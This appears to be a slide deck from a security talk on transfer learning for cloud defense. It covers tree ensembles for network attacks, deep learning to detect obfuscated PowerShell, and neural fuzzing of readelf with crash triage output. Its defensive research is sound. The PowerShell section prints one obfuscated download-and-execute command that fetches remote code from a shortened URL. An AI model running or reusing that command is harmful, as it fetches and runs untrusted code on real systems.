TRANSFER LEARNING: REPURPOSING ML ALGORITHMS FROM DIFFERENT DOMAINS TO CLOUD DEFENSE

Mark Russinovich
CTO, Microsoft Azure
Microsoft
@markrussinovich
Leveraging intelligence across product lines

- Cortana Intelligence Suite
- SQL Server + R
- Microsoft R Server
- Hadoop + R
- Spark + R
- Microsoft CNTK
- Azure Machine Learning
- R Tools/Python Tools for Visual Studio
- Azure Notebooks (JuPyTer)
- Cognitive Services
- Bot Framework
- Cortana
- Office 365
- HoloLens
- Bing
- Skype
- Xbox 360
- Dynamics 365
Microsoft’s cloud security scale - Daily numbers

- **500 Million**: Number of active Microsoft account users
- **18 Billion**: Microsoft Account authentications
- **30 Million**: Geo Login Anomaly Attacks deflected
- **1.5 Million**: Number of compromise attempts deflected
- **77 Million**: Threats detected on devices
Challenges implementing industry grade ML for security
Textbook ML development

- Choosing the Learning Task
- Defining Data Input
- Applying Data Transforms
- Choosing the Learner
- Choosing Run Options
- Choosing Output
- Debug and Visualize Errors
- Analyze Model Predictions
- View Results
Textbook ML development

- Choosing the Learning Task
- Defining Data Input
- Applying Data Transforms
- Choosing the Learner
- Choosing Run Options
- Choosing Output
- Debug and Visualize Errors
- Analyze Model Predictions
- View Results
Fact | Industry grade ML solutions are highly exploratory
Fact | Industry grade security data science requires multiple experts

**Security Experts**
Assess security landscape and identify monitoring opportunities

**Machine Learning Experts**
Update solution based on customer feedback

**Product Managers**
Gather customer feedback and improve product

**Engineers**
Engineer for low latency, high throughput and scale

**Ops Engineers**
Monitor performance and mitigate, resolve, preempt outages

**Compliance and Privacy**
Ensure solution is compliant to privacy laws
Can we accelerate Security Analytics development by reusing algorithms?
Traditional versus Transfer learning

### Traditional Machine Learning

- **Different tasks**
  - Learning system
  - Learning system
  - Learning system

### Transfer Learning

- **Source tasks**
  - Knowledge
- **Target task**
  - Learning system

Why transfer learning

Drivers of ML success in industry

Source: Ruder, Sebastian, “Transfer Learning - Machine Learning’s Next Frontier”
# Problem
Build a generic approach to detecting malicious incoming network activity that works for all protocols

## Hypothesis
Underlying network protocols, though different, have similar behavior

## Solution
Detect Attacker IPs using Ensemble Tree Learning

## Previous
No previous approach for generic protocol suspicious activity for Cloud VM

---

**Case Study 1 | Detecting malicious network activity in Azure**

**Core Concept:** Achieve transfer learning by grouping similar tasks
Ensemble Tree Learning applications at Microsoft

The Kinect pose estimation pipeline:
- Capture depth image
- Infer body parts per pixel
- Cluster pixels predictions into body joint hypotheses
- Fit skeleton

Decision Forests for semantic segmentation - training:
- Input CT image
- For each input voxel (and all its context features)
- Output

Microsoft Research
Input data

IPFix data from Azure VMs

To get labels compare

IP address in the IPFix data: 10.2.3.40

3rd party threat intelligence feeds
Cyber Defense Operation
Threat Intelligence Center
MSRC
Previous Red team activities

If an IP from IPFix data is also present in TI feeds, label flow as malicious

Features extracted

Description
Number of outgoing SYN in short interactions
(log) Number of outgoing SYN in short interactions

Total percent outgoing SYN
Percent outgoing SYN in short interactions
Number of incoming FIN
Distinct incoming connections relative to total flows

Frequency of top most used port
Hourly standard deviation of destination IPs
Percent of outgoing SYN in long interactions
(log) Number of outgoing SYN
Number of flows on low frequency (rare) ports
Percent of outgoing FIN messages
Ratio of outgoing to incoming flows (TCP)
Ratio of outgoing to incoming flows (total)
Total number outgoing SYN
Tree Ensembles – Algorithm

Create subsets from the training data by randomly sampling with replacement

N examples → M features

...
Tree Ensembles – Training

N examples → M features

Rare Ports Flows

- Number of Outgoing SYN
- Frequency of Top Port

Malicious Benign

- Number of Incoming Flows
- Standard Deviation of IPs
- Number of Incoming FIN

Benign Malicious
Tree Ensembles – Training

N examples → M features

Standard Deviation of IPs

Number of Outgoing SYN

Frequency of Top Port

Benign → Malicious

Benign

Number of Incoming FIN

Benign → Malicious
Tree Ensembles

N examples

M features

...
Tree Ensembles – Testing

New Record

<table>
<thead>
<tr>
<th>Src Ip</th>
<th>Dst IP</th>
<th>Src Port</th>
<th>DST Port</th>
<th>In Int</th>
<th>Out Int</th>
<th>DSCP</th>
<th>Octets</th>
</tr>
</thead>
<tbody>
<tr>
<td>10.1.1.5</td>
<td>10.2.2.8</td>
<td>2887</td>
<td>80</td>
<td>Eth0</td>
<td>Eth1</td>
<td>00</td>
<td>982</td>
</tr>
</tbody>
</table>

Take the majority vote of the ensemble

Malicious

Benign

Benign
Model performance and productization

Model trained at regular intervals
Size of data: 3GB/hour
Communication with 5 Million different IPs per hour
Completed within seconds

Classification runs multiple times a day
Completed within milliseconds

<table>
<thead>
<tr>
<th>Dataset</th>
<th>True positive rate</th>
<th>False positive rate</th>
</tr>
</thead>
<tbody>
<tr>
<td>Non Ensemble Learning</td>
<td>82%</td>
<td>0.06%</td>
</tr>
<tr>
<td>Ensemble Learning</td>
<td>85%</td>
<td>0.06%</td>
</tr>
</tbody>
</table>

3 points improvement

Azure Security Center
Bonus
Classifier can be used as an effective canary for emerging attacks

MongoDB ransacked: Now 27,000 databases hit in mass ransom attacks

Over a quarter of MongoDB databases left open to the internet have been ransacked by online extortionists.

By Liam Tung | January 9, 2017 - 11:20 GMT (11:20 GMT) | Topic: Security

WannaCry Attack Timeline

1. Prior to the MS017-10 patch release, the SMB (port 445) scanning activity in Azure behaved per the standard baseline – i.e. sporadic incoming scans.

2. Once released, we can notice a gradual increase in the number of successful scans (i.e. target responded) due to:
   a. Official Microsoft patch being released – i.e. A small group of reverse engineers uncovered the bug
   b. Metasploit module released to the public, making it easier to discover and exploit the vulnerability
   c. Shadow Broker tool leaked, improving the Metasploit attack module and making it more widespread

3. A week before the attack, we can notice a sharp peak in the number of successful incoming scans over SMB – signaling a significant interest in the SMB protocol.
Case Study 2 | Detecting Malicious PowerShell commands

Core Concept: Transposing existing security problem into an already solved problem from another domain

**Problem Statement**
Detect malicious PowerShell command lines

**Previous**
Used machine learning (3-gram sequence modeling)

**Results**: True positive rate = 89%

**Hypothesis**
Deep learning methods are capable of efficient and precise detection of malicious PowerShell commands

**Solution**
Collect large data set from Microsoft Defender and apply Microsoft’s Deep Learning toolkit (CNTK) for detection
PowerShell command lines – difficult to detect

Rules don’t work well, because too many regexes needs to be written

Classical machine learning doesn’t work well, because every command line is unique
No discernable pattern

Command line: before obfuscation


Command line: after obfuscation

& ( "I"+ "nv" +"OK"+"e-EXPreSsIon" ) (&( "new-O"+ "BJ"+"Ect" ) ('Net' +'.We'+'bClient' ) ) .( 'dOWnLO' +'aDS'+'TrinG').Invoke( ('http://bi'+'t.ly/'+'L3' +'glt' ) )

Malicious PowerShell Demo
Dataset

Malicious file → Machine Detonation → Windows Defender ATP logging

Collected Log
- Hash
- Machine
- Timestamp
- Command line
Microsoft’s Deep Learning toolkit (CNTK) applications

Skype for Business

Office 365
Deeper learning = representation learning
Depth learning system trained for image recognition

Convert PowerShell commands to images

```
& { (get-date).ToUniversalTime().ToString('yyyy-MM-dd-HH:mm:ss.fff') }


Deep learning system trained for image recognition
Model performance and productization

Model trained in regular intervals
Size of data: 400GB per day
Completed within minutes

Classification runs multiple times a day
Completed within seconds

<table>
<thead>
<tr>
<th>Dataset</th>
<th>True positive rate</th>
<th>False positive rate</th>
</tr>
</thead>
<tbody>
<tr>
<td>Previous method</td>
<td>89%</td>
<td>0.004%</td>
</tr>
<tr>
<td>Deep learning</td>
<td>95.7%</td>
<td>0.004%</td>
</tr>
</tbody>
</table>

6 points improvement!
Case Study 3 | Neural Fuzzing

Core Concept: Transposing existing security problem into an already solved problem from another domain

Problem Statement
Fuzz-testing file parsers to discover security vulnerabilities

Hypothesis
Fuzz testing heuristics can be learned and generalized from an existing graybox fuzzer. Some control locations are more interesting to fuzz than others.

Previous
Blackbox fuzzing: e.g. random mutations
Whitebox fuzzing: e.g. dynamic analysis
Graybox fuzzing: human crafted mutation heuristics aimed at maximizing code coverage

Solution
Insert a neural model in the fuzz/test feedback loop. Learn and generalize a strategy from an existing fuzzer (AFL), using sequence to sequence neural architectures. Augment original fuzzer with generalized strategy.
Seq2Seq Neural Architecture

Hi. I’m Cortana. 
Ask me a question!

Cortana

Microsoft Translator
Improved fuzzing intuition

**Model**
Input: Mutated files that have increased code coverage
Encode input file content as a sequence of bytes
Train with neural network architectures good at handling variable length sequences: LSTM, sequence-to-sequence

**Learned function**
Heatmaps of “usefulness” rating for each bit location in the input file

**Scoring**
Measured as potential to help discover new code paths
1 = mutation at this location will likely help discover new code paths
0 = ignore file location from mutation
readelf dataset example

180 input files divided into training and validation sets

24h run of AFL on training set

Training data collected

- Mutated files generated by AFL
- Code-coverage bitmaps from execution of the target program on mutated inputs
- Sampled at 1%

~200kb per file
Example | readelf 2.28 model

Heatmap produced for one given ELF file

Red locations are deemed interesting to mutate

<table>
<thead>
<tr>
<th>Offset</th>
<th>Value</th>
<th>Length</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>7f 45 4c 46 02 01 01 00 00 00 00 40</td>
<td>0x3A</td>
<td>Red locations are deemed interesting to mutate.</td>
</tr>
<tr>
<td>0x10</td>
<td>00 ff 24 00 00 00 01 00 00 00 02 00</td>
<td>0x3C</td>
<td>Red locations are deemed interesting to mutate.</td>
</tr>
<tr>
<td>0x20</td>
<td>00 00 20 01 40 00 00 00 00 00 20 00</td>
<td>0x3E</td>
<td>Red locations are deemed interesting to mutate.</td>
</tr>
<tr>
<td>0x30</td>
<td>02 00 00 00 00 00 00 00 00 00 40 00 20 00 00</td>
<td>0x3F</td>
<td>Red locations are deemed interesting to mutate.</td>
</tr>
</tbody>
</table>

**ELF Header format** *(Source: Wikipedia)*

- **0x3A**: Value `e_shentsize` - size of a section header table entry.
- **0x3C**: Value `e_shnum` - number of entries in the section header table.
- **0x3E**: Value `e_shstrndx` - index of the section header table entry that contains the section names.
AFL versus Neural AFL Demo
Target: Linux readelf 2.28

6 crash sites: 2 EXPLOITABLE, 2 UNKNOWN, 2 NOT EXPLOITABLE

Found by Neural AFL but not standard AFL | All fixed in readelf 2.30

CVE-2017-6965

Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in byte_put_little_endian (field=0x1007dd6f6 <error: Cannot access memory at address 0x1007dd6f6>, value=0, size=2) at elfcomm.c:81
Description: Access violation on destination operand
Short description: DesAv (8/22)
Hash: 1d5bf3e1c7a53d6289e999a67a33c133f1de1e072e006d473ab261ea1f05
Exploitability Classification: EXPLOITABLE
Explanation: The target crashed on an access violation at an address matching the destination operand of the instruction. This likely indicates a write access violation, which means the attacker may control the write address and/or value.
Other tags: AccessViolation (21/22)

Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in byte_put_little_endian (field=0xff000000007de2f2 <error: Cannot access memory at address 0xff000000007de2f2>, value=18446744073709551611, size=4) at elfcomm.c:75
Description: Access violation
Short description: AccessViolation (21/22)
Hash: 5a23cb88a9e9c9a00a5872ce95a6218c.5de26e356c24993825d74ece3d7e81f
Exploitability Classification: UNKNOWN
Explanation: The target crashed due to an access violation but there is not enough additional information available to determine exploitability.
Other tags: AccessViolation (21/22)

Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
Description: Heap error
Short description: HeapError (10/22)
Hash: cc68e1a9699d9946c2efe4ed509e1f05.7a7f6598f3d17f75905eda318880c8e540c7a
Exploitability Classification: EXPLOITABLE
Explanation: The target's backtrace indicates that libc has detected a heap error or that the target was executing a heap function when it stopped. This could be due to heap corruption, passing a bad pointer to a heap function such as free(), etc. Since heap errors might include buffer overflows, use-after-free situations, etc. they are generally considered exploitable.
Other tags: AbortSignal (20/22)

Program received signal SIGSEGV, Segmentation fault.
target_specific_reloc_handling (symtab=<optimized out>, start=<optimized out>, reloc =0x7dd828) at readelf.c:11666
Description: Access violation near NULL on source operand
Short description: SourceAvNearNull (16/22)
Hash: e0167387d6ee828647199f5100e4c443f0b89c2332d7e625a40135011f8
Exploitability Classification: PROBABLY_NOT_EXPLOITABLE
Explanation: The target crashed on an access violation at an address matching the source operand of the current instruction. This likely indicates a read access violation, which may mean the application crashed on a simple NULL dereference to data structure that has no immediate effect on control of the processor.
Other tags: AccessViolation (21/22)

Program received signal SIGSEGV, Segmentation fault.
target_specific_reloc_handling (symtab=<optimized out>, start=<optimized out>, reloc =0x7dde40) at readelf.c:11695
Description: Access violation near NULL on source operand
Short description: SourceAvNearNull (16/22)
Hash: 73ce00d9e37b35e8b100024f43d500415994780f8
Exploitability Classification: PROBABLY_NOT_EXPLOITABLE
Explanation: The target crashed on an access violation at an address matching the source operand of the current instruction. This likely indicates a read access violation, which may mean the application crashed on a simple NULL dereference to data structure that has no immediate effect on control of the processor.
Other tags: AccessViolation (21/22)
Readelf model performance over 48h and productization

Model trained
Size of data: 20 GB
Collected from: a 24h fuzzing run of AFL
Completed within: 12h

Model query
AFL modified to query model 50% of the time

<table>
<thead>
<tr>
<th>Dataset</th>
<th>Unique Code Paths</th>
<th>Number of Crashes</th>
</tr>
</thead>
<tbody>
<tr>
<td>AFL</td>
<td>8,123</td>
<td>1</td>
</tr>
<tr>
<td>Neural</td>
<td>9,207</td>
<td>62</td>
</tr>
</tbody>
</table>

Bugs reproduced, triaged, and reported automatically in MSRD web portal for software being tested
Conclusion

• Transfer Learning helps
  • To reuse already developed algorithms in an organization
  • To conserve resources across projects

• Three Early Attempts at Transfer Learning:
  • Detecting Malicious Network Activity in Azure
  • Detecting Obfuscated PowerShell command lines
  • Fuzzing using Neural Nets
Resources

• Microsoft Booth at RSA
• Experiment with Transfer Learning - https://docs.microsoft.com/en-us/cognitive-toolkit/Build-your-own-image-classifier-using-Transfer-Learning
• Publications:
• Free Online Training:
  • Azure Security and Compliance (edX) - https://www.edx.org/course/azure-security-and-compliance
  • Microsoft Professional Program For AI https://academy.microsoft.com/en-us/professional-program/tracks/artificial-intelligence/